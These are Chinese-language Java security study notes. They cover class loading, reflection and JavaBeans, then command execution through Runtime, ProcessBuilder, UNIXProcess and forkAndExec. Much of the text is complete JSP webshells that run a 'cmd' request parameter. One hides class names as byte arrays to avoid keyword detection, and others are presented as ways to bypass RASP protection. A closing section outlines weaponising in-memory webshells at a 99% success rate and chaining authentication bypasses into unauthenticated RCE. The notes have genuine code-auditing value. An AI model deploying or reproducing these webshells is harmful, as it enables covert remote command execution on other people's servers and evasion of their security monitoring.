类加载机制
Java类
Java是一个依赖于JVM
(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成
.class文件
。
Java类初始化的时候会调用java.lang.ClassLoader
加载类字节码,ClassLoader
会调用JVM的native方法(defineClass0/1/2
)来定义一个java.lang.Class
实例
TestHelloWorld.java:
package com.anbai.sec.classloader;
public class TestHelloWorld {
public String hello() {
return "Hello World~";
}
}
编译TestHelloWorld.java
:javac TestHelloWorld.java
JVM在执行TestHelloWorld
之前会先解析class二进制内容,JVM执行的其实就是如上javap
命令生成的字节码(ByteCode
)。
类加载器
jvm
的启动是通过引导类加载器(bootstrap class loader)创建一个初始类(initial class)来完成的,这个类是由jvm
的具体实现指定的。一切的Java类都必须经过JVM加载后才能运行,而ClassLoader
的主要作用就是Java类文件的加载
- 启动类/引导类:Bootstrap ClassLoader
并不是继承自java.lang.ClassLoader,它没有父类加载器
它加载扩展类加载器
和应用程序类加载器
,并成为他们的父类加载器
出于安全考虑,启动类只加载包名为:java、javax、sun开头的类
- 扩展类加载器:Extension ClassLoader
从系统属性:java.ext.dirs
目录中加载类库,或者从JDK安装目录:jre/lib/ext
目录下加载类库。我们就可以将我们自己的包放在以上目录下,就会自动加载进来了。
- 应用程序类加载器:Application Classloader
默认的类加载器
我们可以通过
ClassLoader#getSystemClassLoader()
获取并操作这个加载器
- 自定义加载器
继承java.lang.ClassLoader
类,重写findClass()
方法
如果没有太复杂的需求,可以直接继承URLClassLoader
类,重写loadClass
方法,具体可参考AppClassLoader
和ExtClassLoader
。
URLClassLoader
继承了ClassLoader
,URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的payload
或者webshell
的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
类加载机制—双亲委派机制
类加载流程
我们以一个Java的HelloWorld来学习ClassLoader
。
ClassLoader
加载com.anbai.sec.classloader.TestHelloWorld
类重要流程如下:
ClassLoader
会调用public Class <?> loadClass(String name)
方法加载com.anbai.sec.classloader.TestHelloWorld
类。- 调用
findLoadedClass
方法检查TestHelloWorld
类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载TestHelloWorld
类,否则使用JVM的Bootstrap ClassLoader
加载。 - 如果上一步无法加载
TestHelloWorld
类,那么调用自身的findClass
方法尝试加载TestHelloWorld
类。 - 如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的com.anbai.sec.classloader.TestHelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。 - 如果调用loadClass的时候传入的
resolve
参数为true,那么还需要调用resolveClass
方法链接类,默认为false。 - 返回一个被JVM加载后的
java.lang.Class
类对象。
Java反射机制
获取java.lang.Class对象
Java反射操作的是java.lang.Class
对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:
obj.getClass()
如果,上下文中存在某个类的实例obj,那么我们可以直接通过obj.getClass()
来获取它的类
类名.class
如果你已经加载了某个类,只是想获取到他的java.lang.Class
对象,那么可以直接这么做。这个方法不属于反射
如:com.anbai.sec.classloader.TestHelloWorld.class
。
Class.forName
如果你知道某个类的名字,想获取到这个类,就可以使用forName来获取
如:Class.forName("com.anbai.sec.classloader.TestHelloWorld")
。
classLoader.loadClass("类名");
通过ClassLoader加载
获取Runtime类Class对象代码片段:
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
通过以上任意一种方式就可以获取java.lang.Runtime
类的Class对象了,反射调用内部类的时候需要使用$
来代替.
,如com.anbai.Test
类有一个叫做Hello
的内部类,那么调用的时候就应该将类名写成:com.anbai.Test$Hello
反射java.lang.Runtime
java.lang.Runtime
因为有一个exec
方法可以执行本地命令,所以在很多的payload
中我们都能看到反射调用Runtime
类来执行本地系统命令
getMethod和invoke
getMethod
的作用是通过反射获取一个类的某个特定的公有方法。而Java中支持类的重载,我们不能仅通过函数名来确定一一个函数。
所以,在调用getMethod的时候,我们需要传给他你需要获取的函数的参数类型列表。
invoke
的作用是执行方法,它的第一个参数是:
- 如果这个方法是一-个普通方法,那么第一个参数是类对象
- 如果这个方法是一个静态方法,那么第一个参数是类
这也比较好理解了,我们正常执行方法是[1].method([2],[3],[4]…), 其实在反射里就是method.invoke([1],[2], [3],[4]…)。
因为Runtime类的构造方法属性是private,我们不能通过getMethod
去直接获取到这个方法
public class Runtime {
/** Don't let anyone else instantiate this class */
private Runtime() {}
}
要调用Runtime.exec(),我们肯定要去获得Runtime的对象
两种方法
1.直接通过Runtime.getRuntime()静态方法获取Runtime对象
Class c1azz = Class.forName("java.lang.Runtime") ; // 获取Runtime类对象
Method execMethod = C1azz.getMethod("exec",String.class); // 获取exec方法
Method getRuntimeMethod = clazz.getMethod(" getRuntime"); // 获取getRuntime方法
object runtime = getRuntimeMethod.invoke(c1azz); // 调用Runtime.getRuntime()方法获取Runtime对象
execMethod.invoke(runtime,"calc.exe") ; // 调用Runtime.exec()
如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
如果一个方法或构造方法是私有方法,我们是否能执行它呢?
2.使用constructor.setAccessible(true)修改构造方法访问权限,再实例化
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法,修改构造方法的访问权限
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取命令执行结果
InputStream in = process.getInputStream();
// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));
Java泛型
https://juejin.cn/post/6844903917835419661
Java 泛型(generics)是 JDK 5 中引入的一个新特性, 泛型提供了编译时类型安全检测机制,该机制允许开发者在编译时检测到非法的类型。
泛型的本质是参数化类型,也就是说所操作的数据类型被指定为一个参数。
在没有泛型的情况的下,通过对类型 Object 的引用来实现参数的“任意化”,“任意化”带来的缺点是要做显式的强制类型转换,而这种转换是要求开发者对实际参数类型可以预知的情况下进行的。对于强制类型转换错误的情况,编译器可能不提示错误,在运行的时候才出现异常,这是本身就是一个安全隐患。
那么泛型的好处就是在编译的时候能够检查类型安全,并且所有的强制转换都是自动和隐式的。
泛型中通配符
常用的 T,E,K,V,?
本质上这些个都是通配符,没啥区别,只不过是编码时的一种约定俗成的东西。比如上述代码中的 T ,我们可以换成 A-Z 之间的任何一个 字母都可以,并不会影响程序的正常运行,但是如果换成其他的字母代替 T ,在可读性上可能会弱一些。通常情况下,T,E,K,V,? 是这样约定的:
- ? 表示不确定的 java 类型
- T (type) 表示具体的一个java类型
- K V (key value) 分别代表java键值中的Key Value
- E (element) 代表Element
Java本地命令执行
Runtime命令执行调用链
Runtime.exec(xxx)
调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个调用链我们可以清楚的看到exec
方法并不是命令执行的最终点,执行逻辑大致是:
Runtime.exec(xxx)
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess(xxx)
UNIXProcess
构造方法中调用了forkAndExec(xxx)
native方法。forkAndExec
调用操作系统级别fork
->exec
(*nix)/CreateProcess
(Windows)执行命令并返回fork
/CreateProcess
的PID
。
有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime
和ProcessBuilder
并不是程序的最终执行点
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime
相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
命令参数是str
,如:reflection-cmd.jsp?str=pwd
,程序执行结果同上。
ProcessBuilder命令执行
学习Runtime
命令执行的时候我们讲到其最终exec
方法会调用ProcessBuilder
来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder
来执行系统命令了。
process_builder.jsp命令执行测试
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给OpenRASP
提过这个问题,他们只防御到了ProcessBuilder.start()
方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl
实现命令执行或者直接反射UNIXProcess/ProcessImpl
的forkAndExec
方法就可以绕过RASP实现命令执行了。
反射UNIXProcess/ProcessImpl执行本地命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>
forkAndExec命令执行-Unsafe+反射+Native方法调用
如果RASP
把UNIXProcess/ProcessImpl
类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 - 反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 - 构造
forkAndExec
需要的参数并调用。 - 反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
fork_and_exec.jsp
执行本地命令示例:
copy<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);// 设置访问权限
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>
JNI命令执行
Java可以通过JNI的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了
小结
代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl
等关键词,这样可以快速找出命令执行点。
JavaBean
在Java中,有很多class的定义都符合这样的规范:
若干private实例字段;
通过public方法来读写实例字段。
例如:
public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}
如果读写方法符合以下这种命名规范:
// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)
那么这种class被称为JavaBean
我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property)。例如,name属性:
对应的读方法是String getName()
对应的写方法是setName(String)
只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:
对应的读方法是int getAge()
无对应的写方法setAge(int)
类似的,只有setter的属性称为只写属性(write-only)。
很明显,只读属性很常见,只写属性不常见。
属性只需要定义getter和setter方法,不一定需要对应的字段。例如,child只读属性定义如下:
public class Person {
private String name;
private int age;
//这里没有private String child;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
public boolean isChild() { //只有方法没有字段
return age <= 6;
}
}
可以看出,getter和setter也是一种数据封装的方法。
其他
JAVA安全之内存马
java内存马,有哪些种类,优缺点是什么,选出最优的作为武器化,三大webshell管理工具,蚁剑哥斯拉冰蝎的马都不会相同,应该什么时候用什么webshell管理工具的马,以及tomcat spring各个版本的兼容性、稳定性研究,要求成功率在99%,比如在某处找到一处代码执行如何快速用自研工具生成内存马打入等研究。
JAVA安全之权限绕过
权限绕过在最近几年开始火起来,原因是一般高危操作都在后台,所以需要一个点去绕过鉴权打组合拳达到未授权rce的目的。
最突出的组件有shiro,由于其自己的特效和spring的特性导致。
第二个是weblogic,在去年子航披露了CVE-2020-14882之后也打开了新的攻击面,只要有权限绕过+后台chain就可以未授权rce。
总结可以分析tomcat、spring的特性,比如最经典的/..;/,以及在具体应用中的用法写法可能会导致漏洞的点。
JAVA安全之代码执行
我这里用代码执行这一个大框来包容表达式注入、模板注入等一系列可以执行java任意代码的漏洞。
本质都是有一个引擎可以执行java代码。可以先看看ctf,再看看实战。
表达式注入
表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,
常见的有spel、ognl等等。也可以看看我们小伙伴一起挖的aviator https://github.com/killme2008/aviatorscript/issues/421
可以研究一下开发怎么写会触发漏洞,经常什么地方遇到。
模板注入
模板注入这个概念可能在其他语言中也有,这里就不多说。
常见的有freemarker、Thymeleaf 、Velocity
可以研究一下开发怎么写会触发漏洞,经常什么地方遇到。比如说Thymeleaf就经常在Springboot开发的场景中遇到,具体可以参考ruoyi后台Thymeleaf RCE。
以上说的这些都可以拿codeql刷一遍的。